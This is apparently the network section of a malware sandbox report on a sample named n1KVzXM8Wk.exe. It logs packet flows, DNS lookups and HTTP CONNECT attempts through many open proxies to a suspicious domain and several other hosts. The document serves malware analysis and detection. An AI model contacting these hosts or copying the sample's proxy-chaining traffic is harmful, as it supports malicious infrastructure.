Feb 23, 2024 09:45:18.150681973 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:18.150695086 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:18.150737047 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:18.150747061 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:18.150777102 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:18.150819063 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:18.150873899 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:18.150932074 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:18.150969982 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:18.150970936 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:18.150985003 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:18.151027918 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:18.151032925 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:18.151083946 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:18.151124954 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:18.151146889 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:18.151166916 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:18.151206970 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:18.151549101 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:18.151562929 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:18.151622057 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:18.151634932 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:18.151638031 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:18.151686907 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:18.153639078 CET	4145	50301	104.200.135.46	192.168.2.4
Feb 23, 2024 09:45:18.162478924 CET	50125	22093	192.168.2.4	67.43.236.20
Feb 23, 2024 09:45:18.162906885 CET	3312	49770	78.47.35.35	192.168.2.4
Feb 23, 2024 09:45:18.162947893 CET	50127	20627	192.168.2.4	67.43.236.20
Feb 23, 2024 09:45:18.162988901 CET	49770	3312	192.168.2.4	78.47.35.35
Feb 23, 2024 09:45:18.170692921 CET	4145	49864	72.37.216.68	192.168.2.4
Feb 23, 2024 09:45:18.177081108 CET	5678	50342	223.25.101.86	192.168.2.4
Feb 23, 2024 09:45:18.177995920 CET	50563	35010	192.168.2.4	185.215.160.118
Feb 23, 2024 09:45:18.178913116 CET	20056	49818	103.215.139.32	192.168.2.4
Feb 23, 2024 09:45:18.178946018 CET	50427	80	192.168.2.4	50.222.245.40
Feb 23, 2024 09:45:18.178946972 CET	49964	543	192.168.2.4	8.213.137.155
Feb 23, 2024 09:45:18.179362059 CET	2191	50460	72.10.164.178	192.168.2.4
Feb 23, 2024 09:45:18.179418087 CET	8635	50052	72.10.164.178	192.168.2.4
Feb 23, 2024 09:45:18.179440975 CET	16703	50059	72.10.160.93	192.168.2.4
Feb 23, 2024 09:45:18.183144093 CET	45314	50307	104.238.100.115	192.168.2.4
Feb 23, 2024 09:45:18.184581041 CET	999	50250	190.61.48.24	192.168.2.4
Feb 23, 2024 09:45:18.193603992 CET	50393	34041	192.168.2.4	185.225.200.247
Feb 23, 2024 09:45:18.193619967 CET	49812	5678	192.168.2.4	182.93.69.74
Feb 23, 2024 09:45:18.193723917 CET	49809	51040	192.168.2.4	104.248.151.220
Feb 23, 2024 09:45:18.193790913 CET	49816	5678	192.168.2.4	136.228.160.250
Feb 23, 2024 09:45:18.195262909 CET	8080	50337	103.172.1.35	192.168.2.4
Feb 23, 2024 09:45:18.196305037 CET	15311	50544	184.178.172.13	192.168.2.4
Feb 23, 2024 09:45:18.196374893 CET	50544	15311	192.168.2.4	184.178.172.13
Feb 23, 2024 09:45:18.201373100 CET	4145	50305	199.102.106.94	192.168.2.4
Feb 23, 2024 09:45:18.207283974 CET	80	50359	50.172.39.98	192.168.2.4
Feb 23, 2024 09:45:18.207849026 CET	80	50426	68.188.59.198	192.168.2.4
Feb 23, 2024 09:45:18.207928896 CET	3128	49853	46.101.102.134	192.168.2.4
Feb 23, 2024 09:45:18.209230900 CET	50481	80	192.168.2.4	50.173.140.145
Feb 23, 2024 09:45:18.209243059 CET	50377	33429	192.168.2.4	193.106.57.7
Feb 23, 2024 09:45:18.209253073 CET	50330	80	192.168.2.4	50.200.12.86
Feb 23, 2024 09:45:18.210520029 CET	25053	50069	67.43.236.20	192.168.2.4
Feb 23, 2024 09:45:18.210556984 CET	25341	50071	67.43.227.227	192.168.2.4
Feb 23, 2024 09:45:18.210771084 CET	4145	50321	134.236.118.74	192.168.2.4
Feb 23, 2024 09:45:18.211358070 CET	3128	50202	37.156.28.43	192.168.2.4
Feb 23, 2024 09:45:18.212035894 CET	52420	50255	162.214.102.121	192.168.2.4
Feb 23, 2024 09:45:18.216327906 CET	80	50081	103.44.239.244	192.168.2.4
Feb 23, 2024 09:45:18.216839075 CET	80	50081	103.44.239.244	192.168.2.4
Feb 23, 2024 09:45:18.216866970 CET	80	50081	103.44.239.244	192.168.2.4
Feb 23, 2024 09:45:18.216902018 CET	50081	80	192.168.2.4	103.44.239.244
Feb 23, 2024 09:45:18.216922998 CET	50081	80	192.168.2.4	103.44.239.244
Feb 23, 2024 09:45:18.217060089 CET	80	50081	103.44.239.244	192.168.2.4
Feb 23, 2024 09:45:18.217735052 CET	50081	80	192.168.2.4	103.44.239.244
Feb 23, 2024 09:45:18.223751068 CET	3128	50288	85.214.244.174	192.168.2.4
Feb 23, 2024 09:45:18.224857092 CET	50167	14745	192.168.2.4	67.43.236.20
Feb 23, 2024 09:45:18.224879026 CET	49820	52982	192.168.2.4	188.165.237.26
Feb 23, 2024 09:45:18.224890947 CET	50570	9292	192.168.2.4	177.54.229.0
Feb 23, 2024 09:45:18.225332022 CET	80	50098	190.58.248.86	192.168.2.4
Feb 23, 2024 09:45:18.226326942 CET	29129	50110	72.10.160.90	192.168.2.4
Feb 23, 2024 09:45:18.228763103 CET	5678	50246	109.205.243.10	192.168.2.4
Feb 23, 2024 09:45:18.229473114 CET	80	50363	35.185.254.159	192.168.2.4
Feb 23, 2024 09:45:18.234360933 CET	9002	50077	120.234.203.171	192.168.2.4
Feb 23, 2024 09:45:18.240478039 CET	50208	6533	192.168.2.4	67.43.227.227
Feb 23, 2024 09:45:18.240497112 CET	49824	5678	192.168.2.4	41.90.242.102
Feb 23, 2024 09:45:18.240497112 CET	49822	23670	192.168.2.4	161.97.173.42
Feb 23, 2024 09:45:18.241877079 CET	1611	49982	72.10.160.170	192.168.2.4
Feb 23, 2024 09:45:18.242592096 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.242605925 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.242662907 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.242719889 CET	14313	49994	67.43.228.253	192.168.2.4
Feb 23, 2024 09:45:18.243793964 CET	3128	50043	185.105.230.45	192.168.2.4
Feb 23, 2024 09:45:18.243859053 CET	50043	3128	192.168.2.4	185.105.230.45
Feb 23, 2024 09:45:18.244473934 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.250071049 CET	3128	50182	94.142.142.140	192.168.2.4
Feb 23, 2024 09:45:18.250376940 CET	80	50419	50.218.57.69	192.168.2.4
Feb 23, 2024 09:45:18.255999088 CET	30783	50431	67.43.228.253	192.168.2.4
Feb 23, 2024 09:45:18.256097078 CET	49829	9090	192.168.2.4	189.240.60.171
Feb 23, 2024 09:45:18.257638931 CET	22093	50125	67.43.236.20	192.168.2.4
Feb 23, 2024 09:45:18.257671118 CET	49832	3128	192.168.2.4	212.77.163.196
Feb 23, 2024 09:45:18.257846117 CET	20627	50127	67.43.236.20	192.168.2.4
Feb 23, 2024 09:45:18.259685993 CET	9999	50300	171.35.172.147	192.168.2.4
Feb 23, 2024 09:45:18.264094114 CET	42325	49919	139.99.9.218	192.168.2.4
Feb 23, 2024 09:45:18.271729946 CET	50573	5678	192.168.2.4	89.161.90.203
Feb 23, 2024 09:45:18.271747112 CET	49995	54330	192.168.2.4	206.189.15.100
Feb 23, 2024 09:45:18.271779060 CET	49830	1976	192.168.2.4	41.65.236.39
Feb 23, 2024 09:45:18.274792910 CET	999	50388	191.97.16.160	192.168.2.4
Feb 23, 2024 09:45:18.274827003 CET	49836	13629	192.168.2.4	113.53.29.228
Feb 23, 2024 09:45:18.274950981 CET	50576	59179	192.168.2.4	162.243.55.12
Feb 23, 2024 09:45:18.281148911 CET	80	50210	50.231.104.58	192.168.2.4
Feb 23, 2024 09:45:18.281950951 CET	25508	50074	107.180.89.55	192.168.2.4
Feb 23, 2024 09:45:18.281963110 CET	25508	50074	107.180.89.55	192.168.2.4
Feb 23, 2024 09:45:18.282027960 CET	50074	25508	192.168.2.4	107.180.89.55
Feb 23, 2024 09:45:18.284537077 CET	3128	49870	91.149.224.168	192.168.2.4
Feb 23, 2024 09:45:18.287362099 CET	50559	6984	192.168.2.4	162.214.170.144
Feb 23, 2024 09:45:18.287362099 CET	49840	46849	192.168.2.4	162.241.46.54
Feb 23, 2024 09:45:18.287379980 CET	49953	22035	192.168.2.4	67.43.227.228
Feb 23, 2024 09:45:18.287874937 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:18.294409990 CET	80	50406	149.202.172.113	192.168.2.4
Feb 23, 2024 09:45:18.301541090 CET	1082	49736	181.209.113.234	192.168.2.4
Feb 23, 2024 09:45:18.302979946 CET	50522	80	192.168.2.4	50.218.57.74
Feb 23, 2024 09:45:18.302995920 CET	50580	80	192.168.2.4	20.78.102.191
Feb 23, 2024 09:45:18.303003073 CET	50581	80	192.168.2.4	196.1.95.124
Feb 23, 2024 09:45:18.303003073 CET	49843	999	192.168.2.4	201.174.175.82
Feb 23, 2024 09:45:18.303026915 CET	49855	4153	192.168.2.4	103.60.137.17
Feb 23, 2024 09:45:18.303030014 CET	50137	80	192.168.2.4	50.168.163.178
Feb 23, 2024 09:45:18.305217981 CET	3128	50362	144.21.53.111	192.168.2.4
Feb 23, 2024 09:45:18.306648970 CET	64608	50557	207.180.226.58	192.168.2.4
Feb 23, 2024 09:45:18.306720018 CET	50557	64608	192.168.2.4	207.180.226.58
Feb 23, 2024 09:45:18.314014912 CET	31979	49894	51.77.73.67	192.168.2.4
Feb 23, 2024 09:45:18.318656921 CET	50582	26439	192.168.2.4	92.205.28.187
Feb 23, 2024 09:45:18.318661928 CET	49865	5678	192.168.2.4	80.54.62.254
Feb 23, 2024 09:45:18.318690062 CET	49857	8080	192.168.2.4	79.174.188.153
Feb 23, 2024 09:45:18.319797039 CET	14745	50167	67.43.236.20	192.168.2.4
Feb 23, 2024 09:45:18.320337057 CET	62691	49792	162.215.223.76	192.168.2.4
Feb 23, 2024 09:45:18.320417881 CET	49792	62691	192.168.2.4	162.215.223.76
Feb 23, 2024 09:45:18.322524071 CET	8080	50153	190.57.245.250	192.168.2.4
Feb 23, 2024 09:45:18.324826002 CET	42823	49803	207.180.234.220	192.168.2.4
Feb 23, 2024 09:45:18.324904919 CET	49803	42823	192.168.2.4	207.180.234.220
Feb 23, 2024 09:45:18.334239960 CET	50584	35087	192.168.2.4	162.240.10.35
Feb 23, 2024 09:45:18.334259033 CET	50199	4153	192.168.2.4	103.117.109.9
Feb 23, 2024 09:45:18.334290028 CET	49880	8080	192.168.2.4	103.163.80.14
Feb 23, 2024 09:45:18.334299088 CET	50564	8080	192.168.2.4	95.47.119.122
Feb 23, 2024 09:45:18.334304094 CET	50296	10801	192.168.2.4	95.111.91.50
Feb 23, 2024 09:45:18.334309101 CET	50527	80	192.168.2.4	113.252.40.144
Feb 23, 2024 09:45:18.334323883 CET	50565	80	192.168.2.4	175.213.76.24
Feb 23, 2024 09:45:18.334323883 CET	50230	3128	192.168.2.4	186.156.161.235
Feb 23, 2024 09:45:18.334323883 CET	49993	5678	192.168.2.4	125.26.22.7
Feb 23, 2024 09:45:18.334327936 CET	50567	8080	192.168.2.4	190.187.201.26
Feb 23, 2024 09:45:18.334351063 CET	49786	80	192.168.2.4	154.113.121.60
Feb 23, 2024 09:45:18.334355116 CET	50142	8000	192.168.2.4	137.184.22.92
Feb 23, 2024 09:45:18.334353924 CET	50154	80	192.168.2.4	14.43.238.82
Feb 23, 2024 09:45:18.334353924 CET	49823	3180	192.168.2.4	45.179.71.90
Feb 23, 2024 09:45:18.334358931 CET	50057	4145	192.168.2.4	107.181.168.145
Feb 23, 2024 09:45:18.334359884 CET	50046	6441	192.168.2.4	67.43.236.20
Feb 23, 2024 09:45:18.334362984 CET	50055	27645	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:18.334367990 CET	50139	27917	192.168.2.4	67.43.227.228
Feb 23, 2024 09:45:18.334392071 CET	50461	10005	192.168.2.4	67.43.236.20
Feb 23, 2024 09:45:18.334394932 CET	49827	3128	192.168.2.4	154.83.10.137
Feb 23, 2024 09:45:18.334392071 CET	50198	10739	192.168.2.4	67.43.236.20
Feb 23, 2024 09:45:18.334392071 CET	50161	12707	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:18.334393978 CET	50518	14917	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:18.334407091 CET	49828	8080	192.168.2.4	103.247.21.98
Feb 23, 2024 09:45:18.334412098 CET	50116	8080	192.168.2.4	112.205.92.14
Feb 23, 2024 09:45:18.334423065 CET	50572	5678	192.168.2.4	130.193.123.34
Feb 23, 2024 09:45:18.334433079 CET	49837	80	192.168.2.4	159.65.245.255
Feb 23, 2024 09:45:18.334434032 CET	49838	5678	192.168.2.4	116.118.98.9
Feb 23, 2024 09:45:18.334441900 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.334440947 CET	49839	59341	192.168.2.4	200.6.175.10
Feb 23, 2024 09:45:18.334441900 CET	50579	1994	192.168.2.4	45.173.12.141
Feb 23, 2024 09:45:18.334440947 CET	49846	43110	192.168.2.4	89.22.17.62
Feb 23, 2024 09:45:18.334450960 CET	49842	999	192.168.2.4	201.77.108.1
Feb 23, 2024 09:45:18.334450960 CET	49849	29466	192.168.2.4	66.228.33.190
Feb 23, 2024 09:45:18.334455013 CET	50026	80	192.168.2.4	50.172.75.124
Feb 23, 2024 09:45:18.334460974 CET	49835	8080	192.168.2.4	107.178.9.186
Feb 23, 2024 09:45:18.334465027 CET	49850	26777	192.168.2.4	185.129.250.183
Feb 23, 2024 09:45:18.334470034 CET	50000	3128	192.168.2.4	37.120.222.132
Feb 23, 2024 09:45:18.334479094 CET	49854	5678	192.168.2.4	110.78.164.224
Feb 23, 2024 09:45:18.334482908 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:18.334485054 CET	49858	80	192.168.2.4	8.217.118.156
Feb 23, 2024 09:45:18.334486961 CET	49999	31979	192.168.2.4	51.77.73.78
Feb 23, 2024 09:45:18.334501028 CET	49859	80	192.168.2.4	146.59.243.214
Feb 23, 2024 09:45:18.334502935 CET	49863	8080	192.168.2.4	101.255.166.2
Feb 23, 2024 09:45:18.334539890 CET	49867	83	192.168.2.4	45.119.113.62
Feb 23, 2024 09:45:18.335622072 CET	6533	50208	67.43.227.227	192.168.2.4
Feb 23, 2024 09:45:18.337215900 CET	80	50481	50.173.140.145	192.168.2.4
Feb 23, 2024 09:45:18.339627028 CET	80	50427	50.222.245.40	192.168.2.4
Feb 23, 2024 09:45:18.339639902 CET	5678	50298	1.15.62.12	192.168.2.4
Feb 23, 2024 09:45:18.339706898 CET	50298	5678	192.168.2.4	1.15.62.12
Feb 23, 2024 09:45:18.347475052 CET	83	49802	103.155.54.38	192.168.2.4
Feb 23, 2024 09:45:18.349878073 CET	50183	8000	192.168.2.4	128.199.252.22
Feb 23, 2024 09:45:18.349890947 CET	50061	80	192.168.2.4	50.172.75.120
Feb 23, 2024 09:45:18.349890947 CET	49873	1976	192.168.2.4	41.65.55.10
Feb 23, 2024 09:45:18.349989891 CET	49876	49401	192.168.2.4	162.241.46.40
Feb 23, 2024 09:45:18.350632906 CET	80	50034	211.128.96.206	192.168.2.4
Feb 23, 2024 09:45:18.354737997 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:18.354778051 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:18.354801893 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:18.354820967 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:18.354863882 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:18.354876995 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:18.354890108 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:18.354901075 CET	50160	3128	192.168.2.4	185.165.46.208

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 23, 2024 09:45:13.651319027 CET	192.168.2.4	1.1.1.1	0x3341	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Feb 23, 2024 09:45:20.350759029 CET	192.168.2.4	1.1.1.1	0xec6e	Standard query (0)	heygirlisheeverythingyouwantedinaman.com	A (IP address)	IN (0x0001)	false
Feb 23, 2024 09:45:28.469517946 CET	192.168.2.4	1.1.1.1	0x47f	Standard query (0)	repository.gij.edu.gh	A (IP address)	IN (0x0001)	false
Feb 23, 2024 09:45:35.073060989 CET	192.168.2.4	1.1.1.1	0x492d	Standard query (0)	ktxcomay.com.vn	A (IP address)	IN (0x0001)	false
Feb 23, 2024 09:45:42.364151001 CET	192.168.2.4	1.1.1.1	0xfd38	Standard query (0)	mail.bananasnevis.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Feb 23, 2024 09:45:13.739494085 CET	1.1.1.1	192.168.2.4	0x3341	No error (0)	github.com		140.82.114.3	A (IP address)	IN (0x0001)	false
Feb 23, 2024 09:45:20.532187939 CET	1.1.1.1	192.168.2.4	0xec6e	No error (0)	heygirlisheeverythingyouwantedinaman.com		172.67.190.93	A (IP address)	IN (0x0001)	false
Feb 23, 2024 09:45:20.532187939 CET	1.1.1.1	192.168.2.4	0xec6e	No error (0)	heygirlisheeverythingyouwantedinaman.com		104.21.57.121	A (IP address)	IN (0x0001)	false
Feb 23, 2024 09:45:28.751698017 CET	1.1.1.1	192.168.2.4	0x47f	No error (0)	repository.gij.edu.gh		102.223.20.217	A (IP address)	IN (0x0001)	false
Feb 23, 2024 09:45:35.693661928 CET	1.1.1.1	192.168.2.4	0x492d	No error (0)	ktxcomay.com.vn		222.255.238.159	A (IP address)	IN (0x0001)	false
Feb 23, 2024 09:45:42.547461987 CET	1.1.1.1	192.168.2.4	0xfd38	No error (0)	mail.bananasnevis.com	bananasnevis.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 23, 2024 09:45:42.547461987 CET	1.1.1.1	192.168.2.4	0xfd38	No error (0)	bananasnevis.com		64.202.191.120	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49734	104.23.141.196	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:14.973916054 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:15.061481953 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:15 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49741	104.27.122.6	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:14.990271091 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:15.077822924 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:15 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49733	107.181.148.187	6047	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.056992054 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:15.392692089 CET	459	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="Invalid proxy credentials or missing IP Authorization." Proxy-Connection: close X-Webshare-Error: 407 X-Webshare-Reason: invalidpassword Date: Fri, 23 Feb 2024 08:45:15 GMT Content-Length: 121 Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 4e 6f 74 20 61 75 74 68 65 6e 74 69 63 61 74 65 64 20 6f 72 20 69 6e 76 61 6c 69 64 20 61 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 63 72 65 64 65 6e 74 69 61 6c 73 2e 20 4d 61 6b 65 20 73 75 72 65 20 74 6f 20 75 70 64 61 74 65 20 79 6f 75 72 20 70 72 6f 78 79 20 61 64 64 72 65 73 73 2c 20 70 72 6f 78 79 20 75 73 65 72 6e 61 6d 65 20 61 6e 64 20 70 6f 72 74 2e Data Ascii: Not authenticated or invalid authentication credentials. Make sure to update your proxy address, proxy username and port.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49748	160.153.245.187	5436	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.093895912 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:15.568629980 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.099895000 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:17.162365913 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:19.349992990 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.587069988 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.830086946 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.109492064 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.647262096 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49739	107.148.99.107	58394	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.147403955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:15.740659952 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.521734953 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:18.146838903 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.334781885 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.464864969 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.700159073 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.943977118 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:46.396753073 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49804	8.213.128.90	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.156301975 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49806	8.213.128.90	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.160916090 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49808	8.213.128.90	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.167996883 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
